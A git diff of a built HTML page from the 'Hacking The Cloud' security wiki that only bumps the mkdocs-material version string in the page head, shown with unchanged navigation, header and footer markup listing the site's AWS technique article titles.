0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
 </script></body> </html>
\ No newline at end of file
diff --git a/aws/enumeration/get-account-id-from-keys/index.html b/aws/enumeration/get-account-id-from-keys/index.html
index 4d215a9ac..4339c11d6 100644
--- a/aws/enumeration/get-account-id-from-keys/index.html
+++ b/aws/enumeration/get-account-id-from-keys/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Techniques to enumerate the account ID associated with an AWS access key."><link href=https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/ rel=canonical><link href=../enumerate_root_email_from_console/ rel=prev><link href=../loot_public_ebs_snapshots/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Get Account ID from AWS Access Keys - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Get Account ID from AWS Access Keys - Hacking The Cloud"><meta property=og:description content="Techniques to enumerate the account ID associated with an AWS access key."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/get-account-id-from-keys.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Get Account ID from AWS Access Keys - Hacking The Cloud"><meta property=twitter:description content="Techniques to enumerate the account ID associated with an AWS access key."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/get-account-id-from-keys.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Techniques to enumerate the account ID associated with an AWS access key."><link href=https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/ rel=canonical><link href=../enumerate_root_email_from_console/ rel=prev><link href=../loot_public_ebs_snapshots/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Get Account ID from AWS Access Keys - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Get Account ID from AWS Access Keys - Hacking The Cloud"><meta property=og:description content="Techniques to enumerate the account ID associated with an AWS access key."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/get-account-id-from-keys.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Get Account ID from AWS Access Keys - Hacking The Cloud"><meta property=twitter:description content="Techniques to enumerate the account ID associated with an AWS access key."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/get-account-id-from-keys.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#stsgetaccesskeyinfo class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2 checked> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#stsgetaccesskeyinfo class=md-nav__link> <span class=md-ellipsis> sts:GetAccessKeyInfo </span> </a> </li> <li class=md-nav__item> <a href=#decode-the-access-key class=md-nav__link> <span class=md-ellipsis> Decode the access key </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> 